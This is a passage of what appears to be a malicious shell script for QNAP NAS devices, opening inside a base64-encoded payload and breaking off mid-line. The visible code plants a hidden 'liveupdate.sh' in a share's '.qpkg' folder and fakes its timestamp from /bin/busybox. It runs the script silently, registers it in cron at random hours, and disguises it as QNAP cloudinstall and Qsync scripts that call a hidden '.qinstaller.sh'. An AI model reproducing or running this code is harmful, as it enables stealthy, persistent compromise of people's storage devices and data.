fZGlzYWJsZWQiCgkJZmkKCWZpCn0KCmlmIFsgIngkSEJTX0VOQUJMRSIgPSB4bnVsbCBdIHx8IFsgIngkSEJTX0VOQUJMRSIgPSB4RkFMU0UgXTsgdGhlbgoJZXhwb3J0IFFOQVBfUVBLRz1ydHJyCmVsc2UKCWV4cG9ydCBRTkFQX1FQS0c9SHlicmlkQmFja3VwCgkvdXNyL2xvY2FsL3NiaW4vcWJvb3N0X3V0aWwgLVMgLW4gcnRyciAtRSAwIDE+L2Rldi9udWxsIDI+JjEKZmkKc3RhcnQoKQp7CglpZiBbIC1mIC91c3IvYmluL3FzeW5jbWFuIF07IHRoZW4KCQlbICEgLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYgXSB8fCAvYmluL3JtIC1mIC9ldGMvY29uZmlnL2hkY29weXVzYi5jb25mCgkJL2Jpbi9zZWQgLWkgJy9oZHVzYl9jb3B5L2QnIC9ldGMvY29uZmlnL2Nyb250YWIKCQkvdXNyL2Jpbi9jcm9udGFiIC9ldGMvY29uZmlnL2Nyb250YWIKCQllY2hvIC1uICJTdGFydGluZyBRU3luYyBtYW5pdG9yOiAiCgkJWyAtZCAvZXRjL2NvbmZpZy9xc3luYyBdIHx8IC91c3IvYmluL2luc3RhbGwgLWQgL2V0Yy9jb25maWcvcXN5bmMKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL3RvdWNoIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jam9iZGVmLmNvbmYgXSB8fCAvYmluL3RvdWNoIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jam9iZGVmLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NwIC1wIC9ldGMvZGVmYXVsdF9jb25maWcvcXN5bmMvcXN5bmMuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9leHRkcnYuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9leHRkcnYuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9leHRkcnYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYgXSB8fCAvYmluL2NwIC1wIC9ldGMvZGVmYXVsdF9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYKCQlbICEgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNkLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mIF0gfHwgL2Jpbi9jaG1vZCA2NDAgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mIF0gfHwgL2Jpbi9jaG1vZCA2NDAgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCS9zYmluL2RhZW1vbl9tZ3IgcXN5bmNtYW4gc3RhcnQgIi91c3IvYmluL3FzeW5jbWFuIDE+L2Rldi9udWxsIDI+JjEiCgkJZWNobyAiT0siCglmaQp9CgpzdG9wKCkKewoJZWNobyAiU2h1dHRpbmcgZG93biBRU3luYyBtb25pdG9yOiBPSyIKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIGtpbGwgJHBpZG51bSAyPi9kZXYvbnVsbAogICAgICAgIGk9MAogICAgICAgIHdoaWxlIFsgJHtpfSAtbHQgNSBdCiAgICAgICAgZG8KICAgICAgICAgICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAgICAgICAgICBpZiBbIC16ICIkcGlkbnVtIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgMWAKICAgICAgICBkb25lCiAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICBbIC16ICIkcGlkbnVtIiBdIHx8IGtpbGwgLTkgJHBpZG51bSAyPi9kZXYvbnVsbAoJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdG9wICIvdXNyL2Jpbi9xc3luY21hbiIKCS91c3IvYmluL2tpbGxhbGwgLXEgcXN5bmNtYW4KfQoKc3RhcnRfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDEgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcnVuX3BpZD1gL2Jpbi9waWRvZiBxc3luY2RgCglbIC16ICRfcXN5bmNkX3J1bl9waWQgXSB8fCByZXR1cm4gLTExNAoJX3JlY3ljbGVfZW49YC9zYmluL2dldGNmZyAnTmV0d29yayBSZWN5Y2xlIEJpbicgRW5hYmxlIC1kIEZBTFNFYAoJX3dpdGhfc3lzbG9nPSQxCglpZiBbICJ4JF9yZWN5Y2xlX2VuIiA9IHhUUlVFICBdOyB0aGVuCgkJaWYgWyAieCRfd2l0aF9zeXNsb2ciID0geDEgIF07IHRoZW4KCQkJTERfUFJFTE9BRD0vdXNyL2xvY2FsL2xpYi9saWJ0cmFzaC5zbyAvdXNyL2Jpbi9xc3luY2QgLXN5c2xvZyAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZWxzZQoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWVsc2UKCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQkvdXNyL2Jpbi9xc3luY2QgLXN5c2xvZyAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZWxzZQoJCQkvdXNyL2Jpbi9xc3luY2QgLWM6L2V0Yy9xc3luYy9xc3luY2QuY29uZgoJCWZpCglmaQoJX2lyZXQ9JD8KCWlmIFsgIngkX2lyZXQiID0geDAgXTsgdGhlbgoJCWk9MAoJCXdoaWxlIFsgJHtpfSAtbHQgMTAwMDAgXQoJCWRvCgkJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgJycgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCgkJCV9xc3luY2RfcnVuX3BpZD1gL2Jpbi9waWRvZiBxc3luY2RgCgkJCWlmIFsgIngkX3FzeW5jZF9waWQiICE9ICJ4LTEiIF0gJiYgWyAhIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQkJYnJlYWsKCQkJZmkKCQkJdXNsZWVwIDUwMDAwCgkJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJCWRvbmUKCWZpCglyZXR1cm4gLSRfaXJldAp9CgpzdG9wX3FzeW5jZCgpCnsKCSNfcXN5bmNkX2VuPWAvc2Jpbi9nZXRjZmcgIiIgRW5hYmxlZCAtZCAwIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCgkjWyAieCRfcXN5bmNkX2VuIiA9IHgwIF0gfHwgcmV0dXJuIC0xCglfcXN5bmNkX3BpZD1gL3NiaW4vZ2V0Y2ZnICIiIFBpZCAtZCAtMSAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJWyAkX3FzeW5jZF9waWQgLWx0IDAgXSAmJiByZXR1cm4gLTMKCSMgU2VuZCBTSUdVU1IxIHRvIGluZm9ybSB0aGUgZGFlbW9uIHRvIG91dHB1dCAiW1JUUlIgU2VydmVyXSBTdG9wcGVkIiBldmVudCBsb2cKCS9iaW4va2lsbCAtU0lHVVNSMSAkX3FzeW5jZF9waWQKCXVzbGVlcCAyMDAwMDAKCSMgU2VuZCBTSUdJTlQgdG8gc3RvcCB0aGUgUVN5bmNkIHByb2Nlc3MKCS9iaW4va2lsbCAtU0lHSU5UICRfcXN5bmNkX3BpZAoJX2tpbGxfcmV0PSQ/CglpZiBbICJ4JF9raWxsX3JldCIgIT0geDAgXTsgdGhlbgoJCXJldHVybiAtMwoJZmkKCWVjaG8gIm5lZWQgd2FpdCAkMSBtaWxsaXNlY29uZCIKCWk9MAoJd2hpbGUgdHJ1ZQoJZG8KCQllY2hvICIke2l9IG1pbGxpc2Vjb25kLi4uIgoJCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgJycgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCgkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQlpZiBbICJ4JF9xc3luY2RfcGlkIiA9ICJ4LTEiIF0gJiYgWyAteiAkX3FzeW5jZF9ydW5fcGlkIF07IHRoZW4KCQkJYnJlYWsKCQlmaQoJCWlmIFsgJHtpfSAtZ2UgJDEgXTsgdGhlbgoJCQkjIGlmIHRpbWUtb3V0LCB3ZSBzZW5kIHR3byBhZGRpdGlvbmFsIFNJR0lOVCB0byBmb3JjZSB0aGUgZGFlbW9uIHRvIHN0b3AuCgkJCWlmIFsgJF9xc3luY2RfcGlkIC1nZSAwIF07IHRoZW4KCQkJCS9iaW4va2lsbCAtU0lHVVNSMSAkX3FzeW5jZF9waWQKCQkJCXVzbGVlcCAyMDAwMDAKCQkJCS9iaW4va2lsbCAtU0lHVVNSMSAkX3FzeW5jZF9waWQKCQkJZmkKCQkJaj0wCgkJCXdoaWxlIFsgJHtqfSAtbHQgNTAwIF0KCQkJZG8KCQkJCV9xc3luY2RfcnVuX3BpZD1gL2Jpbi9waWRvZiBxc3luY2RgCgkJCQlpZiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQkJCXJldHVybiAwCgkJCQlmaQoJCQkJdXNsZWVwIDIwMDAwCgkJCQlqPWAvdXNyL2Jpbi9leHByICR7an0gKyAyMGAKCQkJZG9uZQoJCQlyZXR1cm4gLTYyCgkJZmkKCQl1c2xlZXAgNTAwMDAKCQlpPWAvdXNyL2Jpbi9leHByICR7aX0gKyA1MGAKCWRvbmUKCXJldHVybiAwCn0KCgppbnN0YWxsKCkKewoJbG9ja19maWxlPSIvdmFyL2xvY2svcWJveF9pbnN0YWxsX2Jpbi5sY2siCgoJaWYgWyAhIC1mICIke0lOU1RBTExfQlVJTERfSU59IiBdOyB0aGVuCgkJZGJnICJidWlsZC1pbiAke1FTWU5DX05BTUV9IGlzIGluc3RhbGxlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbICEgLWYgJHtVUERBVEVQS0dfRElSfS8ke1FTWU5DX05BTUV9LmJpbiBdOyB0aGVuCgkJZGJnICIke1FTWU5DX05BTUV9LmJpbn0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAteCAiJHtRUEtHX0NMSX0iIF07IHRoZW4KCQlkYmcgIiR7UVBLR19DTEl9IG5vdCBmb3VuZCIKCQlyZXR1cm4gMQoJZmkKCgkjIyBtYWtlIHN1cmUgdm9sdW1lIGlzIGV4aXN0CglpZiBbICEgLWQgL3NoYXJlL2Avc2Jpbi9nZXRjZmcgU0hBUkVfREVGIGRlZlB1YmxpYyAtZCBQdWJsaWMgLWYgL2V0Yy9jb25maWcvZGVmX3NoYXJlLmluZm9gIF07IHRoZW4KCQlkYmcgIi9zaGFyZS9QdWJsaWMgbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIGlzIHJlbW92ZWQgCglpZiBbIC1mICR7VVBEQVRFUEtHX0RJUn0vLiR7UVNZTkNfTkFNRX1fcmVtb3ZlZCBdOyB0aGVuCgkJL2Jpbi9ybSAtZiAke0lOU1RBTExfQlVJTERfSU59CgkJZGJnICIke1FTWU5DX05BTUV9IGlzIHJlbW92ZWQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAtZiAiJGxvY2tfZmlsZSIgXTsgdGhlbiAKCQlpZiBbICQoKCAkKGRhdGUgKyVzKSAtICQoZGF0ZSArJXMgLXIgJGxvY2tfZmlsZSkgKSkgLWxlIDE4MCBdOyB0aGVuCgkJCWVjaG8gIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJZGJnICIke1FTWU5DX05BTUV9IGlzIGluc3RhbGxpbmciCgkJCXJldHVybiAxCgkJZmkKCWZpCgoJL2Jpbi90b3VjaCAiJGxvY2tfZmlsZSIJCgkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN0YXJ0IgoKCXNldF9kZWZhdWx0X2Rpc2FibGVfc3RhdHVzCgoJIyMgaW5zdGFsbCBidWlsZCBpbiBRc3luYwoJJHtRUEtHX0NMSX0gLUsgLW0gJHtVUERBVEVQS0dfRElSfS8ke1FTWU5DX05BTUV9LmJpbiA+IC9kZXYvbnVsbCAyPiYxCglzbGVlcCAyMAoKCXdhaXRfaW5zdGFsbD02MAoJIyMgYXZvaWQgaW5pdGlhbCB0YWtlIGxvbmcgdGltZSBvciBmYWlsCiAgICAgICAgd2hpbGUgWyAiJHdhaXRfaW5zdGFsbCIgLWd0IDAgXTsgZG8KCQlzdGNvZGU9YCRDTURfR0VUQ0ZHICR7UVNZTkNfTkFNRX0uYmluIHN0Y29kZSAtZiAvZXRjL2NvbmZpZy9xcGtnX2pvYi5jb25mYAogICAgICAgICAgICAgICAgaWYgWyAiJHN0Y29kZSIgPSAiMCIgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICAgIHNsZWVwIDEKICAgICAgICAgICAgICAgIGxldCAid2FpdF9pbnN0YWxsLS0iCiAgICAgICAgZG9uZQoKCSR7UVBLR19DTEl9IC1DICR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCS9iaW4vcm0gLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZAoJL2Jpbi9ybSAtZiAiJGxvY2tfZmlsZSIJCglkYmcgImluc3RhbGwgYnVpbGQtaW4gJHtRU1lOQ19OQU1FfSBzdWNjZXNzIgp9CgppZiBbICIkMSIgPT0gInN0b3AiIF07IHRoZW4KCWV4aXQgMApmaQpmaQpYRU9GCmNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIgp0b3VjaCAtY3IgL2Jpbi9idXN5Ym94ICIke2JkaXJ9Ly5xcGtnLy5saXZldXBkYXRlL2xpdmV1cGRhdGUuc2giCiggKCBleGVjID4vZGV2L251bGwgMj4mMSA8L2Rldi9udWxsOyAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4vZGV2L251bGwgJiApICYgKQpmaQoKdGVzdCAteCAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiB8fCBjaG1vZCA3NTUgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUvbGl2ZXVwZGF0ZS5zaCIKCmNyb250YWJhcmdzPSQocHMgfCBncmVwICdjcltvXW5kICcgfCBzZWQgLW4gJ3MvLipjcm9uZFteMC05QS1aYS16LV0qXCguXCtcKS9cMS9wJykKdHJ5Y291bnQ9MTA7IHRyeWNvdW50PSQoKCAkdHJ5Y291bnQgLSAxMCApKQpzZXQgeCAkY3JvbnRhYmFyZ3M7IHNoaWZ0CndoaWxlIFsgJCMgLWd0IDAgXSAmJiBbICR0cnljb3VudCAtbHQgMTAgXTsgZG8KdHJ5Y291bnQ9JCgoICR0cnljb3VudCArIDEgKSkKZ2V0b3B0cyAnOmM6JyBPUFQgMj4vZGV2L251bGwKdGVzdCAiJE9QVCIgPSAnYycgJiYgY3JvbnRhYmZpbGU9IiR7T1BUQVJHfS9hZG1pbiIgJiYgYnJlYWsKdGVzdCAiJE9QVElORCIgLWd0IDAgJiYgc2hpZnQgIiRPUFRJTkQiICYmIE9QVElORD0xIHx8IGJyZWFrCmRvbmUKdGVzdCAiJGNyb250YWJmaWxlIiAmJiB0ZXN0IC1mICIke2Nyb250YWJmaWxlfSIgfHwgY3JvbnRhYmZpbGU9Jy90bXAvY3Jvbi9jcm9udGFicy9hZG1pbicKCmZvciBjcm9udGFiIGluICIkY3JvbnRhYmZpbGUiICIke2NvbmZkaXJ9L2Nyb250YWIiOyBkbwppZiAkZmdyZXAgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUvbGl2ZXVwZGF0ZS5zaCIgIiRjcm9udGFiIjsgdGhlbgo6CmVsc2UKY3Jvbm1pbnM9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSA2MCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaScgIiQoKCAkUkFORE9NICUgMjQgKSkiKQpjcm9uaG91cj0kKHByaW50ZiAnJWksJyAiJCgoICggJGNyb25ob3VyICsgOCApICUgMjQgKSkiICIkKCggKCAkY3JvbmhvdXIgKyAxNiApICUgMjQgKSkiKSIkY3JvbmhvdXIiCmVjaG8gIiRjcm9ubWlucyAkY3JvbmhvdXIiJyAqICogKiAnIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUvbGl2ZXVwZGF0ZS5zaCA+L2Rldi9udWxsIDI+L2Rldi9udWxsIiA+PiAiJGNyb250YWIiCmNyb250YWIgIiRjcm9udGFiIgpzbGVlcCAyCmZpCmRvbmUKKSAmICkgJgo= +EOF +)&) +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh + +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z 